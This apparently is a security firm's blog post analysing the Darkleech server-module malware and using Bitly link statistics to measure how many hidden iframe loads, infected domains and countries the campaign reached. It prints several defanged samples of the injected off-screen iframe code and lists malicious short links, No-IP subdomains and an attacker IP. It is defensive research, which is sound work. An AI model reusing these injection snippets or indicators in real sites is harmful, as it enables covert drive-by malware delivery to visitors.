Darkleech + Bitly.com = Insightful Statistics

This post is about how hackers abuse popular web services and how this helps security researchers obtain interesting statistics about malware attacks.

We, at Sucuri, work with infected websites every day. While we see some particular infections on one site or on multiple sites, we can’t accurately tell how many more sites out there are infected, and how many people were exposed to that malware. All we can do is estimate.

Most estimations are based on data that can’t provide the whole picture, such as the number of detections in our SiteCheck scanner, the number of cleanup requests, or the number of posts about a particular problem in webmaster forums. This only helps to tell whether the issue is something “major” or “minor”.

Like any other professional security firm out there, we can make educated estimates. For example, we can target specific Google searches that reveal the number of sites that contain a certain string of text, or URL specific to a particular attack. Another example is an attack that uses one specific URL (or a few well known URLs) allowing Google Safe Browsing reports to estimate the number of infected sites. The Google approaches are more precise, but they don’t work for most attacks that frequently change domains or have no artifacts that can be found in search results.

If security researchers are quite lucky, they might find an attacker’s unprotected (or poorly protected) Control Panel that contains all the statistics about infected site, clicks, exploits, etc.

This post will be about a different and quite unusual way of obtaining data about activity of a server-level attack that is known for being hard to detect and track.

What is Darkleech?

Just a quick recap. Darkleech is a malware that hackers install in a form of malicious web server modules. Usually Apache, but there is evidence of similar malware on Nginx and Litespeed on compromised servers. The servers are compromised at a root level, and in most cases hackers also replace all SSH binaries with their own versions that contain backdoors. This allows the hackers access to such servers even if the server owner changes root passwords.

The rogue web server modules analyze HTTP traffic and inject malicious code into legitimate server responses.

This sort of server infection is usually hard to detect as it lurks when server admins log in, or website admins work in admin areas of their sites. Moreover, the malware is only injected to visitors that come from search engines and this happens only once a day for such eligible visitors. As a result, it’s also hard to make any estimations on the number of infected servers and number of attacked web surfers (assuming the selectivity of injections).

This malware has been public since at least the summer of 2012, and the malicious code that it injects remains quite recognizable.

This sample is from July of 2012.

<style>.um6x1zsq { position:absolute; left:-1241px; top:-1283px} </style>
<div class=”um6x1zsq“><ifr ame src=”hxxp://megaworlsnetscapes .info/?a=YWZmaWQ9MDUyODg=” width=”120” height=”300“></ifram e></div>

This is from January of 2013:

<style<.t1nhuhjv { position:absolute; left:-1619px; top:-1270px} </style>
<div class=”t1nhuhjv”><i fra me src=”httx://<ip.add.re.ss>/<random>/” width=”534″ height=”556″> </ifra me></div>

You see the pattern? A style definition with an auto-generated random name and off the screen absolute position, followed by a <div> containing that very style, and an iframe inside that <div>. The iframe has normal visible dimensions but the positioning makes it rendered far off the screen so visitors have no chance to see it.

January 2014 Modification

Now the most interesting part that made this post possible. In January-February of 2014, Darkleech injects this code:

<style>.jasz8u72u { position:absolute; left:-1851px; top:-1816px}</style>
<div class=”jasz8u72u”><i fr ame src=”hxxp://bitly.com/MlrZaD” width=”317″ height=”589″></if ram e></div>

Here is the VirusTotal analysis of the .so file that contains it.

… Looks the same. But you’ll notice that now it uses shortened bitly.com links in the iframes. Bitly (aka Bit.ly), is a very popular service that many sites and people use every day. The challenge is that Bitly links can efficiently disguise suspicious URLs that could otherwise trigger malware alarms.

Bitly Link Statistics

The flip side of using Bitly links is bitly.com provides public statistics for every shortened link:

• long URL,
• date of creation,
• number of click
• pages where the link was placed
• countries of people who clicked on the links
• Bitly account that created the links

All you need to do to get that information is to add “+” to a Bitly link.

For example, here is the link to the information on the Bitly.com link with ID 1hU6w3H that was also used in the attack: http://bitly.com/1hU6w3H+.

Note: Sorry, after my request, Bitly.com blocked the links, so most likely you won’t see anything there now. Don’t worry however, I saved a lot of interesting data and will share it here.

What we can see for this link is:

• It points to hxxp://xmgytugwu .myftp. org/ afygydlfsj0uztauqyhyfdamsjiv5x4alk
• It was created on Jan 25th, 2014
• There were 41 clicks on the link. In our case, iFrame loads.
• The iFrame with the link was loaded from the following sites:
  • variety.horoworld .com — 22 times
  • love. .horoworld .com — 5 times
  • www. horoworld .com — 4 times
  • free. horoworld .com — 4 times
  • lotto. horoworld .com — 4 times
  • webboard. horoworld .com — 2 times
• This iFrame was mainly loaded from Thailand but there were also loads from the USA, the UK, Germany and Cambodia.
• And, finally, this link was created by a user with the grantdad nickname.

A total of 41 clicks — doesn’t look impressive for a serious attack, does it? But wait, it’s just one link. And the attack frequently changes them. How frequently? Bitly.com has this information too, and I’ll show it below.

Username: Grantdad

At this point, the most important part of this data is the username: grantdad. We can check his statistics too: http://bitly.com/u/grantdad (Already suspended)

What we can see here is:

• The account was created in October of 2013.
• The user created 9,999 bitmarks (shortened bitly.com links)
• The oldest links were created on January 25th and the most recent links have just been created a few minutes ago (as of writing this post on February 5th)
• All the links point to various subdomains of myftp.org, myftp.biz, serveftp.com – all point to 69.64.39.166 (Hosting Solutions International Inc.)

Is this all the information, or is there more data?

In short, there is more data. The longer answer is Bitly.com limits the number of displayed links per account to 10,000. Moreover, these 10K are not continuous. I can see links from January 25th, January 28th, and the latest February links. At this point, we can only guess how many links may have been created by this user, and when he began doing it.

On January 25th or earlier (actually, in our SiteCheck logs we found detections of these Bitly.com iframes from Dec 16th, 2013, and up to the beginning of this February, and the Bitly API confirms that they all were created by the grantdad Bitly user. Still we have enough data to make some estimations.

One more useful feature of Bitly is their API that allowed me to download and analyze a lot of data on more than 10,000 malicious Bitly URLs that the Darkleech used during late January and beginning of February. The earliest Bitly data I have is from January 25th, and Bitly was not cooperative in providing more information about activity of the grantdad account.

Get Ready For The Stats

If you want to analyze the data yourself you can find links to the raw data in this post.

Number of created malicious bitly URLs

• January 25th, 2014: 4,822 links between 06:30 am and 7:10 pm
• January 28th, 2014: 5,177 links between 09:40 am and 11:10 pm
• February 4-5, 2014: 1,755 links between 11:20 pm Feb 4 and 03:40 am Feb 5.

(Total 30.5 hours of the tracked attack activity)

This give us the following averages:

• 6.5 links per minute,
• 390 links per hour
• 9,350 links per day

Given the attack was continuous, we can extrapolate this data to the period of the confirmed attack activity. The period of attack was (January 25th – February 5th), which gives us 110,000+ malicious Bitly.com links. If we extrapolate it even further, going back to a period beginning on Dec 16th (assuming it was as active from the very beginning), we’re looking at almost half a million malicious Bitly links!

iFrame Loads

During the tracked periods (30.5 hours overall), there were 87,000+ “clicks” on the Bitly.com links. Based on our analysis, this means there were 87,000+ malicious iframe loads.

Averages and Highlights:

• 2,800+ iframe loads per hour
• 68,000+ iframe loads per day
• 7.4 iframe loads per Bitly link
• 4,096 (35%) links were never loaded in iframes
• but some were loaded as many as 670 times (max)

Lets again extrapolate this to the whole period of January 25th – February 5th: 800,000+ iframe loads during those 12 days, and about 3.5 million iframe loads during the extended period dating back to December 16th.

Infected Servers and Domains

During the tracked 30.5 hours, 575 unique domain names were registered as “referrers” of the Bitly “clicks”. In our context, this means the malicious fFrames were loaded from sites on those 575 domains, including subdomains and IP addresses.

Those 575 domains are hosted on servers with 303 unique IP addresses (30+ domains didn’t resolve at the time when I checked them).

Raw data before removing direct clicks, proxies and translation services:
http://pastebin.com/HYaY2yMb (shows iframe loads per referring domains)

IP’s and domains infected with the Darkleech:
http://pastebin.com/Gxr51Nc1(during the time for which we have Bitly data. Some of them have been cleaned up already)

Averages and highlights:

• 152 iFrame loads per domain.
• 27 domains (~5%) were responsible for 1,000+ iFrame loads each or 64,811 overall, which is ~75% of all iFrame loads.
• Maximum: 4,323 iFrames loads from a single domain (during those 30.5 hours)
• 157 domains contributed only 1 iFrame load each.

Countries

During the tracked 30.5 hours the malicious iFrames have been loaded by web surfers in 196 countries: http://pastebin.com/SZJMw3vx

Highlights:

• Most clicks were registered from the USA — 31,646 (~36%) followed by the UK — 11,895 (~14%) and Thailand – 10,948 (~13%)
• 9 more countries (Spain, Canada, Sweden, India, Germany, Australia, France, China, Mexico) contributed more than 1,000 each.
• These top 12 countries (~6%) contributed 73,583 iFrame loads (~84%)
• 116 countries contributed more than 10 iFrame loads each.

IFrame Load Geo-Distribution

No-IP.com URLs

Each short Bitly link points to a unique long URL on multiple subdomains of myftp.biz, myftp.org and serveftp.com. No-IP.com is a service that provides domains as a part of their free Dynamic DNS service. As I said earlier, they all resolve to 69.64.39.166, an IP of Hosting Solutions International Inc.

While all the long URLs are unique, many of them share the same subdomains, for example:

hxxp://ivgrbj .serveftp .com/dm0rz7xwkphigpuvwr4nhd01xewty2avsax0qra9clnmdo0
hxxp://ivgrbj .serveftp .com/jsgpzpnxnwepoph3yiu5f0dlzghrxf
hxxp://ivgrbj .serveftp .com/haxveodmyzoff64mpjbq90ztsyxxay4cytte
…

Overall, during those 30.5 hours, Bitly registered links to 202 unique No-IP subdomains: http://pastebin.com/QP9TrPbV, with an average of 58 unique URLs per subdomain.

Attack Disruption

As you can see, the attackers choice of Bitly.com helped us dig up quite a lot of data about the attack scale. Another outcome of this choice was the ease of disruption of this attack. Once we downloaded all the interesting data, we contacted both Bitly.com and no-ip.com, within hours they blocked the offending accounts. Old links still work, but you can’t get any information about them when you add “+“, and the grantdad account page says “Forbidden”. As far as I can tell, grantdad can no longer create short links. As a result, I no longer see malicious iFrames on the known infected servers. I’m sure it’s a temporary disruption, but as our statistics show, every day of inactivity prevents about 68,000 malicious iframe loads 😉

Update: On February 6th, I began to detect iframes with bitly.com URL’s again.

https://bitly.com/1nWQpGj+
https://bitly.com/1ln3Osp+

But now Bitly flags them as “potentially problematic”. When you try to open them you get this warning from Bitly:

While Bitly’s website doesn’t show user information for these new links, using their API I can see that they were created by the same grantdad user. Nonetheless, now Bitly does a good job identifying them as dangerous, which effectively prevents loading of the malicious content in hidden iFrames, where web surfers have even no chance to click the “continue at your own risk” link in the warning.

Unfortunately, both Bitly and No-IP ignored my requests for additional information about the activity of the malicious accounts. This information could help us better understand when Darkleech really began to use Bitly.com links, and have a more accurate picture of how active it was during all that time. I can only hope, if and Bitly or No-IP employees come across this post, they share some information in comments.